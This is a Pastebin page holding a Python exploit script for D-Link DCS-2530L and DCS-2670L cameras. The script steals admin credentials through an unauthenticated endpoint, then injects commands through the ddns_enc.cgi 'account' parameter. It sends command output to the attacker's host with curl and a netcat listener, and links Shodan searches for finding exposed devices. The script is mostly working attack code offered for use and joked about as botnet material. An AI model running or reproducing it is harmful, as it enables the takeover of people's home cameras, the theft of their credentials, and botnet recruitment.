View difference between Paste ID: <a href="/ziPKTEES">ziPKTEES</a> and <a href="/1WTDdKpR">1WTDdKpR</a> - Pastebin.com

'''

Usage:

Copy the url straight from firefox. If you want to get a netcat listener you need netcat installed

and the listening port specified within open obviously.

Blind execution - python3 exploit.py http://1.2.3.4/ "curl http://pingb.in/p/xxxxxxxxxxxxxxxxxx"

Netcat listener - python3 exploit.py http://1.2.3.4/ "cat /proc/cpuinfo" --listen

Info:

By chaining together an unauthenticated credential disclouse 0day in multiple

Dlink DCS cameras with an authenticated command injection in ddns_enc.cgi - it

is possible to gain RCE. 

Confirmed vulnerable:

DCS-2530L, DCS-2670L 

https://www.shodan.io/search?query=DCS-2670L

https://www.shodan.io/search?query=DCS-2530L

Limitations:

The length of the 'account' parameter is limited to 55 characters. Longer commands

can be executed via piping characters with "echo -ne" to a .sh or downloading a .sh

from another host. 

The payload will be executed every 5 seconds on the host while the payload in the account

parameter is set. This exploit triies to auto terminate after 1 execution. Ajust timing if needed. 

Patch:

Dlink has released an advisory for the DCS-2530L but no patch. Don't port forward the

camera until one has been released.

Don't be an ass. Don't brick other people's shit. I'm not responsible for anything lmfao - @dogonsecurity 

'''

import requests, sys, argparse, time, os

from time import sleep

from requests import get

from urllib3.exceptions import InsecureRequestWarning

def getcreds(host):

 try:

 r = requests.get(host + "/config/getuser?index=0", verify=False, timeout=5)

 data = r.text.split("\n")

 credentials = []

 credentials.append(data[0].replace("name=", "").replace("\r", ""))

 credentials.append(data[1].replace("pass=", "").replace("\r", ""))

 return credentials

 except Exception as e:

 print(e)

def execpayload(host, creds, payload):

 try:

 url = "/cgi-bin/ddns_enc.cgi?enable=1&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account="

 endexec = "/cgi-bin/ddns_enc.cgi?enable=0&hostname=qq&interval=24&servername=www.dlinkddns.com&provider=custom&account=aaaa"

 # DEBUG print(payload)

 if not args.listen:

 payload = "{};{};".format(url,payload)

 r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)

 print("Sent payload... Waiting for execution.")

 sleep(4)

 r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)

 print("Blind exploit complete. Did it work :)?")

 else:

 ourip = get('https://api.ipify.org').text

 ourport = 3 #Change if you need to

 payload = "{};{} >a;curl -XPUT {}:{} -T a;".format(url,payload,ourip,ourport)

 # DEBUG print(payload)

 r = requests.get(host + payload , auth=(creds[0], creds[1]), verify=False, timeout=5)

 print("Sent payload... Waiting for execution.")

 os.system("sudo nc -lvp 3 &")

 sleep(7)

 r = requests.get(host + endexec , auth=(creds[0], creds[1]), verify=False, timeout=5)

 os.system("sudo pkill -f nc")

 print("Listening exploit complete.")

 except Exception as e:

 print(e)

print("Hoho is the future of botnet!!11!!")

parser = argparse.ArgumentParser()

parser.add_argument("target", help="target",type=str)

parser.add_argument("payload", help="payload",type=str)

parser.add_argument("--listen", action='store_true')

args = parser.parse_args()

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

creds = getcreds(args.target)

print("Got credentials: " + str(creds))

execpayload(args.target, creds, args.payload)